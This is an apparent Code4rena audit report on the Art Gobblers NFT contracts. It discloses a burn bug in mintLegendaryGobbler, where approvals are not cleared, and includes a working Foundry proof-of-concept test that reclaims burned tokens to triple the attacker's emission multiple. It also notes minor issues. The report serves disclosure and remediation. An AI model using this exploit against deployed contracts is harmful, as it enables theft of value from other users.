Art Gobblers contest - ronnyx2017's results

Lines of code

https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L432-L442

Vulnerability details

Impact

The mintLegendaryGobbler function burn standard gobblers by setting their owner to address(0) without deleting the getApproved[id]. So the original owner can setApproval for himself address and transfer the gobbler token back to any address from the address(0). And the emissionMultiple will be added as a normal transfer, the attacker will get triple emissionMultiple.

Proof of Concept

Add this function to the ArtGobblers.t.sol test:

    function testMintLegendaryGobblerAndGetBack() public {
        uint256 startTime = block.timestamp + 30 days;
        vm.warp(startTime);
        // Mint full interval to kick off first auction.
        mintGobblerToAddress(users[0], gobblers.LEGENDARY_AUCTION_INTERVAL());
        uint256 cost = gobblers.legendaryGobblerPrice();
        assertEq(cost, 69);
        setRandomnessAndReveal(cost, "seed");
        uint256 emissionMultipleSum;
        for (uint256 curId = 1; curId <= cost; curId++) {
            ids.push(curId);
            assertEq(gobblers.ownerOf(curId), users[0]);
            // diff here
            vm.prank(users[0]);
            gobblers.approve(users[0], curId);
            emissionMultipleSum += gobblers.getGobblerEmissionMultiple(curId);
        }

        assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum);

        vm.prank(users[0]);
        uint256 mintedLegendaryId = gobblers.mintLegendaryGobbler(ids);

        // Legendary is owned by user.
        assertEq(gobblers.ownerOf(mintedLegendaryId), users[0]);
        assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2);

        assertEq(gobblers.getGobblerEmissionMultiple(mintedLegendaryId), emissionMultipleSum * 2);

        for (uint256 i = 0; i < ids.length; i++) {
            hevm.expectRevert("NOT_MINTED");
            gobblers.ownerOf(ids[i]);
        }

        // now, get back
        uint appendEmissionMultipleSum;
        for (uint256 i = 0; i < ids.length; i++) {
            vm.startPrank(users[0]);
            gobblers.transferFrom(address(0), users[0], ids[i]);
            vm.stopPrank();
            assertEq(gobblers.ownerOf(ids[i]), users[0]);
            appendEmissionMultipleSum += gobblers.getGobblerEmissionMultiple(ids[i]);
        }
        // and the emissionMultiple is added too.
        assertEq(gobblers.getUserEmissionMultiple(users[0]), emissionMultipleSum * 2 + appendEmissionMultipleSum);
    }

Run and pass the test

forge test --match-contract ArtGobblersTest --match-test testMintLegendaryGobblerAndGetBack  -v

Recommended Mitigation Steps

delete getApproved[id]; or add a burn function for the Gobbler.

Low Risk Issues

1. Request id is uninitialized when RandomBytesRequested event emitted

Lines of code:

https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/utils/rand/ChainlinkV1RandProvider.sol#L62-L69

It's always zero in the event log because the RequestId is uninitialized.

    ├─ [58991] ArtGobblers::requestRandomSeed()
    │   ├─ emit RandomnessRequested(user: RandProviderTest: [0x62d69f6867a0a084c6d313943dc22023bc263691], toBeRevealed: 1)
    │   ├─ [46413] ChainlinkV1RandProvider::requestRandomBytes()
    │   │   ├─ emit RandomBytesRequested(requestId: 0x0000000000000000000000000000000000000000000000000000000000000000)  <--- here

2. The result of price functions that calculate users spend should always be rounded up

Lines of code:

https://github.com/transmissions11/VRGDAs/blob/f4dec0611641e344339b2c78e5f733bba3b532e0/src/VRGDA.sol#L46-L51

It returns the result rounded down.

The result of price functions that calculate users spend should always be rounded up

Non-critical Issues

It is a bad practice to name local variables and global variables the same.

address owner in the gobble function.

Lines of code:

https://github.com/code-423n4/2022-09-artgobblers/blob/main/src/ArtGobblers.sol#L730-L733